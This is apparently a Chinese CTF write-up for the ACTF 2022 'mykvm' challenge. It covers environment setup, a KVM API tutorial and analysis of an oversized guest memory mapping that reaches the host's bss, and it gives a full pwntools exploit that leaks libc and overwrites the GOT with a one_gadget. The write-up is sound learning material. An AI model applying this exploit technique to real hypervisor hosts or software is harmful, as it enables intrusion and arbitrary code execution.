0%

KVM pwn

mykvm 复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
service ctf
{
disable = no
socket_type = stream
protocol = tcp
wait = no
user = root
type = UNLISTED
port = 8888
bind = 0.0.0.0
server = /home/ctf/mykvm
banner_fail = /etc/banner_fail
# safety options
per_source = 10 # the maximum instances of this service per source IP address
rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use
#rlimit_as = 1024M # the Address Space resource limit for the service
#access_times = 2:00-9:00 12:00-24:00
}
1
2
3
4
5
6
7
mykvm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1993c72c363459deb6e3280880959d1f83620724, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
  • 64位,dynamically,开了 NX,Canary,FORTIFY

运行时出现以下报错:

1
2
➜  bin ./mykvm 
./mykvm: error while loading shared libraries: libreadline.so.6: cannot open shared object file: No such file or directory
  • 证明系统已经升级 libreadline.so.6 到 libreadline.so.7 或者 libreadline.so.8

使用以下命令就可以解决:

1
➜  x86_64-linux-gnu sudo ln -s libreadline.so.8.0 libreadline.so.6
  • 我的电脑上是 libreadline.so.8,如果是 libreadline.so.7 修改命令即可

拖入 IDA 分析,发现如下代码:

1
2
3
fd = open("/dev/kvm", 524290);
if ( fd == -1 )
errx(1, "failed to open /dev/kvm");

学习了一下陌生的函数:

1
char *readline(const char *prompt);
  • prompt:指向提示字符串
  • readline 的返回值就是该行文本的指针:
    • 如果是一个空行,那么将返回一个空的字符串
    • 如果在读某一行的过程中遇到了EOF错误,并且是空行的话,便会返回NULL
    • 如果不是空行的话,便会将其当做新的一行
  • 返回值由 malloc() 分配的空间存储,故调用结束后应通过 free() 显式地释放内存
1
void add_history(const char *string);
  • 我们希望输入过的命令行,还可以通过 C-p 或者 C-s 来搜索到,那么就需要将命令行加入到历史列表中,可以调用 add_history() 函数来完成
1
void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offsize);
  • start:指向欲对应的内存起始地址,通常设为NULL,代表让系统自动选定地址,对应成功后该地址会返回
  • length:代表将要把文件映射到内存的字节大小
  • prot:代表映射区域的保护方式
  • flags:会影响映射区域的各种特性
  • fd:文件描述词,代表欲映射到内存的文件
  • offset:文件映射的偏移量,通常设置为“0”,代表从文件最前方开始对应,offset 必须是分页大小的整数倍

参考:

KVM (kernel-based virtual machine) 简述

/dev/kvm 设备是 kvm(kernel-based virtual machine) 虚拟机的一个设备文件

一,qemu 是一个模拟软件,运行于 linux 的用户空间,qemu 可以模拟我们能见到的所有操作系统,由于是通过模拟的方法来实现系统虚拟化,它产生的所有 CPU 指令都翻译转换一次,因此其性能非常低

二,kvm 是一个运行于内核空间的程序,为了提供一个整体的解决方案(包括用户空间工具集[由qemu提供],管理各种设备[由kvm内核模块提供]),kvm 开发团队借用了 qemu 代码,并作了一些修改,形成了一套工具,也就是 qemu-kvm(不是linux中的命令)

三,/dev/kvm 是一个字符设备,其核心作用就是让 qemu 与 kvm 内核模块结合起来,当 qemu 打开这个设备后,通过 ioctl 这个系统调用就可以获得 kvm 模块提供的三个抽象对象:

  • kvm:代表 kvm 模块本身,用来管理 kvm 版本信息,创建一个 vm(通过)
  • vm:代表一个虚拟机,通过 vm 的 io_ctl 接口,可以为虚拟机创建 vcpu,设置内存区间,创建中断控制芯片,分配中断等等
  • vcpu:代表一个 vcpu,通过 vcpu 的 io_ctl 接口,可以启动或者暂停 vcpu,设置 vcpu 的寄存器,为 vcpu 注入中断等等

Qemu 的使用方式:

  • 打开 /dev/kvm 设备
  • 通过 KVM_CREATE_VM 创建一个虚拟机对象
  • 通过 KVM_CREATE_VCPU 为虚拟机创建 vcpu 对象
  • 通过 KVM_RUN 设置 vcpu 运行起来

因此,/dev/kvm 只是 kvm 内核模块提供给用户空间的一个接口,这个接口被 qemu-kvm 调用,通过 ioctl 系统调用就可以给用户提供一个工具用以创建,删除,管理虚拟机

Docker 搭建环境

题目给了 Dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
FROM ubuntu:16.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
apt-get update && apt-get -y dist-upgrade && \
apt-get install -y lib32z1 xinetd gdb vim python git

RUN useradd -m ctf

WORKDIR /home/ctf

RUN cp -R /usr/lib* /home/ctf

RUN mkdir /home/ctf/dev && \
mknod /home/ctf/dev/null c 1 3 && \
mknod /home/ctf/dev/zero c 1 5 && \
mknod /home/ctf/dev/random c 1 8 && \
mknod /home/ctf/dev/urandom c 1 9 && \
chmod 666 /home/ctf/dev/*

RUN mkdir /home/ctf/bin && \
cp /bin/sh /home/ctf/bin && \
cp /bin/ls /home/ctf/bin && \
cp /bin/cat /home/ctf/bin

COPY ./ctf.xinetd /etc/xinetd.d/ctf
COPY ./start.sh /start.sh
RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail

RUN chmod +x /start.sh

COPY ./bin/ /home/ctf/
RUN chown -R root:ctf /home/ctf && \
chmod -R 750 /home/ctf && \
chmod 740 /home/ctf/flag

CMD ["/start.sh"]

EXPOSE 8888

在目录下执行以下命令:

1
$ docker build .

第一个 images 就是目标了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ywx813@DESKTOP-I5DPK9O MINGW64 ~/Desktop/2022暑假复现/actf2022_mykvm/docker
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
<none> <none> 94c320b3bb31 2 minutes ago 760MB
docker_fpm latest 842968bef75b 7 days ago 461MB
docker_nginx latest 51a1d3e9b89d 7 days ago 150MB
pwn_ubuntu20.04 20.04 dda29e818595 6 months ago 2.25GB

ywx813@DESKTOP-I5DPK9O MINGW64 ~/Desktop/2022暑假复现/actf2022_mykvm/docker
$ docker tag 94c320b3bb31 mykvm:16.04

ywx813@DESKTOP-I5DPK9O MINGW64 ~/Desktop/2022暑假复现/actf2022_mykvm/docker
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
mykvm 16.04 94c320b3bb31 5 minutes ago 760MB
docker_fpm latest 842968bef75b 7 days ago 461MB
docker_nginx latest 51a1d3e9b89d 7 days ago 150MB
pwn_ubuntu20.04 20.04 dda29e818595 6 months ago 2.25GB

尝试在 docker 中运行题目文件:

1
2
3
4
5
6
7
8
9
10
# ls
bin dev flag lib lib32 mykvm
# ./mykvm
your code size:
400
your code:
yhellow
guest name: yhellow
guest passwd: yhellow
mykvm: failed to open /dev/kvm
  • docker 没有 /dev/kvm,只能想其他办法
  • PS:启动 docker 时需要添加 -privilage 参数,来允许在 docker 使用 kvm

VMware Workstation 16 搭建环境

输入下面的grep命令来看看是否支持硬件虚拟化:

1
2
➜  bin grep -Eoc '(vmx|svm)' /proc/cpuinfo
0
  • 如果 CPU 支持硬件虚拟化,这个命令将会打印出大于“0”的数字,这代表 CPU 核心数目
  • 否则,如果输出为“0”,它意味着这个 CPU 不支持硬件虚拟化

在一些机器上,虚拟化技术可能被厂商在 BIOS 中禁用了,运行下面的命令可以进行查看:

1
sudo /usr/sbin/kvm-ok /* kvm-ok需要安装 */

也可以通过任务管理器查看:

  • 已经在BIOS中开启了VT功能

关闭虚拟机,在虚拟机设置中勾选 虚拟化引擎 中的前两个:

得到报错:

参考以下博客:

最后问题终于解决了(但是 win docker 的环境挂了),要完全关闭 Hyper-V,WSL,同时还要关闭内核隔离(虚拟机访问物理资源时需要通过 VMM 去建立一个虚拟的Ring0权限,内核隔离开启后,默认会启动 Hyper-V)

1
2
➜  bin grep -Eoc '(vmx|svm)' /proc/cpuinfo
16

调试方法

为了调试环境与题目环境一样,只能使用 docker,但是 win 中的 docker 环境挂了…

最后选择在 ubuntu 中下载了一个 docker,然后利用 Dockerfile 直接在 ubuntu 上搭环境:

1
docker build -t mykvm -f Dockerfile .

然后即可启动,一定要后台启动才能跟远程堆环境保持一致,另外还要加 --privileged 参数以便在 docker 内访问 kvm 设备

1
2
3
4
➜  docker docker container run --privileged -p 1234:1234 -p 8000:8888 -d mykvm
4b1755d23dc28a56ffafa5ec9cbd5fc0fcb1625a90c0cde88ab3d8ebe8e71f65
➜ docker docker exec -it 4b1755d23dc28a5 /bin/bash
root@4b1755d23dc2:/home/ctf#

接下来就可以进入 docker 使用 gdbserver 挂调试器,然后外部连入调试即可

1
2
3
4
5
6
7
8
9
root@9622bccfc102:/home/ctf# ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_
  • docker IP addr:172.17.0.2
1
2
3
4
root@9622bccfc102:/home/ctf# gdbserver 127.0.0.1:7777 ./mykvm
Process ./mykvm created; pid = 251
Listening on port 7777
Remote debugging from host 172.17.0.1
  • gdbserver port:7777

然后再外部使用以下命令进行连接:

1
pwndbg> target remote 172.17.0.2:7777

KVM api 使用案例

首先,我们需要打开 /dev/kvm

1
kvm = open("/dev/kvm", O_RDWR | O_CLOEXEC);

接下来,我们需要创建一个虚拟机(VM),它表示与一个模拟系统关联的所有内容,包括内存和一个或多个 CPU,KVM 以文件描述符的形式为我们提供此 VM 的句柄:

1
2
vmfd = ioctl(kvm, KVM_CREATE_VM, (unsigned long)0); 
/* KVM_CREATE_VM:0xae01 */
  • KVM 系统提供文件描述符来控制虚拟机

虚拟机需要我们提供内存,对应虚拟机中的物理地址空间:

1
mem = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
  • 申请一页内存来保存测试代码,直接使用 mmap 获得页对齐的、初始值为 0 的内存

将机器码复制到这块内存:

1
memcpy(mem, code, sizeof(code));

使用 KVM_SET_USER_MEMORY_REGION 通知 KVM 虚拟机有4096字节的内存:

1
2
3
4
5
6
7
8
struct kvm_userspace_memory_region region= {
.slot = 0,
.guest_phys_addr= 0x1000,
.memory_size = 0x1000,
.userspace_addr = (uint64_t)mem,
};
ret = ioctl(vmfd, KVM_SET_USER_MEMORY_REGION, &region);
/* KVM_SET_USER_MEMORY_REGION:0x4020ae46 */
  • slot 字段表示 KVM 中内存空间的索引:
    • 当我们使用相同的 slot 调用 KVM_SET_USER_MEMORY_REGION 时会替换掉这个 mapping,当使用新的 slot 调用 KVM_SET_USER_MEMORY_REGION 时会创建新的 mapping
  • guest_phys_addr 虚机中的基础物理地址
  • userspace_addr 指向我们通过 mmap 申请的内存,注意这是一个 64-bit 的值
  • memory_size 表示要映射的内存的大小:0x1000字节

现在我们的 VM 中有内存,内存中有要运行的代码,现在我们创建一个 VCPU 去运行这些代码,KVM 提供给我们控制这个 VCPU 的文件描述符,0 表示虚拟 CPU 的索引,索引的最大值可通过 KVM_CAP_MAX_VCPUS 获得:

1
2
vcpufd= ioctl(vmfd, KVM_CREATE_VCPU, (unsigned long)0); 
/* KVM_CREATE_VCPU:0xae41 */

每个虚拟CPU都关联一个 kvm_run 结构体,这个结构体用来在内核和用户空间传递 CPU 的信息,尤其是当硬件虚拟化停止时(vmexit),kvm_run 结构体包含停止原因

我们将这个结构体通过 mmap 映射到用户空间,首先我们通过 KVM_GET_VCPU_MMAP_SIZE 得知有多少内存需要映射:

1
2
mmap_size = ioctl(kvm, KVM_GET_VCPU_MMAP_SIZE, NULL);
/* KVM_GET_VCPU_MMAP_SIZE:0xae04 */

一般 mmap_size 大于 kvm_run 结构体的大小,因为内核会使用这片区域去存其它的瞬态信息,使用 mmap 映射 kvm_run 结构体:

1
2
3
run = mmap(NULL, mmap_size, PROT_READ|PROT_WRITE, MAP_SHARED, vcpufd, 0);
/* PROT_READ|PROT_WRITE:3 */
/* MAP_SHARED:1 */

VCPU 同样包括寄存器,KVM 将寄存器分为两类:标准寄存器和特殊寄存器,分别使用 kvm_regs 和 kvm_sregs 结构体表示,在运行我们的代码前要先初始化这个寄存器

  • 初始化特殊寄存器:我们只需设置 cs 寄存器,将 cs 的 base 和 selector 设为“0”
1
2
3
4
5
ret = ioctl(vcpufd, KVM_GET_SREGS, &sregs);
sregs.cs.base = 0;
sregs.cs.selector = 0;
ret = ioctl(vcpufd, KVM_SET_SREGS, &sregs);
/* KVM_SET_SREGS:0x8138ae83 */
  • 初始化标准寄存器:我们大部分设为“0”,instruction pointer 设为“0x1000”,al 和 bl 设为“2”,flags 寄存器设置为“2”
1
2
3
4
5
6
7
8
struct kvm_regs regs = {
.rip = 0x1000,
.rax = 2,
.rbx = 2,
.rflags = 0x2,
};
ret = ioctl(vcpufd, KVM_SET_REGS, &regs);
/* KVM_SET_REGS:0x4090ae82 */

创建 VM 和 VCPU、映射和初始化内存、并设置初始寄存器状态后,我们现在可以使用 KVM_RUN 开始使用 VCPU 运行指令

每次虚拟化停止时,它都会返回,因此我们将在循环中运行它:(根据停止原因进行相应的处理)

1
2
3
4
5
6
7
while(1) {
ret = ioctl(vcpufd, KVM_RUN, NULL);
/* KVM_RUN:0xae80 */
switch (run->exit_reason) { /* kvm_run结构体包含停止原因 */
/* Handle exit */
}
}

参考:

1
int ioctl(int fd, unsigned long request, ...);
  • fd:文件描述符
  • request:命令码,应用程序通过下发命令码来控制驱动程序完成对应操作
  • “…”:是可变参数 arg,一些情况下应用程序需要向驱动程序传参,参数就通过 ag 来传递
  • 返回值:驱动程序中 ioctl 接口给的返回值,驱动程序可以通过返回值向用户程序传参,ioctl 运行失败时一定会返回“-1”并设置全局变量 errorno

关于汇编的知识

MOVZX 指令(进行全零扩展并传送)将源操作数复制到目的操作数,并把目的操作数0扩展到16位或32位(这条指令只用于无符号整数)

  • 下图展示了如何将源操作数进行全零扩展,并送入16位目的操作数:

MOVSX 指令(进行符号扩展并传送)将源操作数内容复制到目的操作数,并把目的操作数符号扩展到16位或32位(这条指令只用于有符号整数)

  • 下图展示了如何将源操作数进行符号扩展(符号位为“1”),并送入16位目的操作数:

全零扩展:零扩展就是全补零,不论其符号位是多少,高位全都补 “0”

符号扩展:当用更多的内存存储某一个有符号数时,由于符号位位于该数的第一位,扩展之后,符号位仍然需要位于第一位:

  • 当扩展一个负数时,需要将扩展的高位全赋为 “1”
  • 当扩展一个正数时(包括无符号数),符号扩展和零扩展是一样的,因为符号位就是 “0”

案例:

  • 用8位二进制表示 “-1”,则是 11111111
  • 用16位二进制表示时,则为 11111111 11111111 高位全都是 “1”,这个叫做符号扩展,主要用于对齐操作数

汇编语言中,CPU 对外设的操作通过专门的端口读写指令来完成:读端口用 IN 指令,写端口用 OUT 指令

漏洞分析

漏洞点一:负数溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
puts("your code size: ");
__isoc99_scanf("%d", &kvm); // int
if ( kvm.size <= 4096 ) // int
{
puts("your code: ");
read(0, kvm.code, kvm.size); // unsigned int,负数溢出
kvm.name = input_line("guest name: ");
kvm.name = input_line("guest passwd: ");
pwn(kvm.code, kvm.size);
kvm.name = input_line("host name: ");
memcpy(dest, kvm.name, 0x20uLL);
puts("Bye!");
return 0LL;
}
  • 令 kvm.size = -1,下一个 read 就会有栈溢出
  • 不过有 canary 的限制,不能直接利用

漏洞点二:没有置空

1
2
Struct kvm; // [rsp+4h] [rbp-101Ch] BYREF
unsigned __int64 canary; // [rsp+1018h] [rbp-8h]
  • Struct kvm 在栈上占用的范围很大,其中包含了大量存留指针
1
2
3
4
memcpy(
(&code_bss - (((((&code_bss >> 0x1F) >> 0x14) + &code_bss) & 0xFFF) - ((&code_bss >> 0x1F) >> 0x14)) + 0x1000),
code,
size);
  • memcpy 中的 size 我们可以控制
  • 只要 size 足够大,就可以把栈上的指针 copy 到 bss 段(方便后续利用)

漏洞点三:越界

1
2
3
4
region.slot = 0;
region.flags = 0;
region.guest_phys_addr = 0LL;
region.memory_size = 0x40000000LL; // 这里肯定有溢出
  • memory_size 表示要映射的内存的大小:0x40000000 字节
  • 映射内存范围过大,导致 guest 代码能访问到宿主机的 bss 段中的其他变量
1
2
3
.bss:0000000000602100 ??                            code_bss db    ? ;                      ; DATA XREF: pwn+8C↑o
......
.bss:000000000060A100 ?? ?? ?? ?? ?? ?? ?? ?? dest dq ? ; DATA XREF: main+7E↑w
  • 很明显可以通过 code_bss 访问到 dest

入侵思路

首先肯定要先 leak libc_base,然后通过 code_bss 的溢出来覆盖 dest(可以是 got 或者 hook)

然后在以下代码中输入 one_gadget 就可以了:

1
2
kvm.name = input_line("host name: ");
memcpy(dest, kvm.name, 0x20uLL);

问题的关键就是:写一段由 VCPU 运行的 code 来进行泄露

先使用以下一段 code 进行测试,看看到底泄露了什么东西

1
2
3
4
5
6
7
8
9
10
code=asm("""
.code16
lable:
mov al,byte ptr ds:[bx]
out 0,al
add bx,1
cmp bx,0x200
jna lable
hlt
""")
  • 利用汇编指令 out 把 al 寄存器中的值输出到 [标准输出]

结果:

1
2
bbbbbbbb
\x8a\x07�\x00\x83$
  • 发现泄露的数据是从 0x603000 开始的
1
2
3
pwndbg> x/20xg 0x603000
0x603000: 0x8101c38300e6078a 0x0000f4f3760200fb
0x603010: 0x0000000000000000 0x0000000000000000
  • 而距离它偏移为 0x358 的地方就有前面 copy 进去的存留指针
1
2
pwndbg> distance 0x603000 0x603358
0x603000->0x603358 is 0x358 bytes (0x6b words)

那么进行 leak 的 code 就可以这样写:

1
2
3
4
5
6
7
8
9
10
11
12
13
code=asm("""
.code16
mov bx,0x8
mov ax,0x35
mov ds,ax
lable:
mov al,byte ptr ds:[bx]
out 0,al
add bx,1
cmp bx,0x200
jna lable
hlt
""")

接下来用同样的思路覆盖 dest:

1
2
pwndbg> distance 0x603000 0x60A100
0x603000->0x60a100 is 0x7100 bytes (0xe20 words)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
code=asm("""
.code16
mov bx,0x8
mov ax,0x35
mov ds,ax
mov ax,0x710
mov ss,ax
lable:
mov al,byte ptr ds:[bx]
out 0,al
add bx,1
cmp bx,0x200
jna lable

xor bx,bx
mov al,0x0B
mov ss:[bx+0x0],al
mov al,0x20
mov ss:[bx+0x1],al
mov al,0x60
mov ss:[bx+0x2],al
mov al,0
mov ss:[bx+0x3],al

hlt
""")
  • 把 dest 覆盖为 got 表地址附近,方便修改 put_got

最后还有一个问题,readline() 函数会将相当一部分不可见字符转义:

1
2
3
4
5
6
pwndbg> telescope 0x602000
00:00000x602000 —▸ 0x601e18 ◂— 0x5858585858585858 ('XXXXXXXX')
01:0008│ rax-3 rdi-3 0x602008 ◂— 0x6161616161136168
02:00100x602010 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaGb'
... ↓ 2 skipped
05:00280x602028 (puts@got.plt) ◂— 0x7f9eec006247 /* 'Gb' */
  • 解决的办法就是:检查 one_gadget 的每一字节,如果是不可见字符则重启程序

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import*
context(os="linux",arch="amd64")

libc=ELF("./libc-2.23.so")

while(True):
flag=0
p=process('./mykvm')

code=asm("""
.code16
mov bx,0x8
mov ax,0x35
mov ds,ax
mov ax,0x710
mov ss,ax
lable:
mov al,byte ptr ds:[bx]
out 0,al
add bx,1
cmp bx,0x200
jna lable

xor bx,bx
mov al,0x0B
mov ss:[bx+0x0],al
mov al,0x20
mov ss:[bx+0x1],al
mov al,0x60
mov ss:[bx+0x2],al
mov al,0
mov ss:[bx+0x3],al

hlt
""")

#gdb.attach(r,"b*0x400E64")

size = 0x1000
name = "a"*0x8
passwd = "b"*0x8
p.sendlineafter("your code size:",str(size))
p.sendlineafter("your code:",code)

p.sendlineafter("guest name:",name)
p.sendlineafter("guest passwd:",passwd)

p.recvuntil("b"*0x8+"\n")
sleep(0.1)
leak_addr=u64(p.recv(8))
libc_base=leak_addr-0x3d1198
success("leak_addr: "+hex(leak_addr))
success("libc_base: "+hex(libc_base))

one_gadget=libc_base+0xf1247

test=one_gadget
for i in range (3):
char=test%0x100
if (char>0x7e or char<0x20 ):
flag=1
break
test=test//0x100
if (flag==1):
p.close()
continue
else:
pause()

p.recvuntil("host name: ")
p.sendline("a"*0x1D+p64(one_gadget))

p.interactive()

小结:

这个题目搭环境花了好长时间,本地打通以后打不通远程,用 gdbserver 调试了一下才发现 heap 环境不一样

学到了不少东西:

  • gdbserver 调试 docker 中的环境
  • KVM api
  • 一些汇编的知识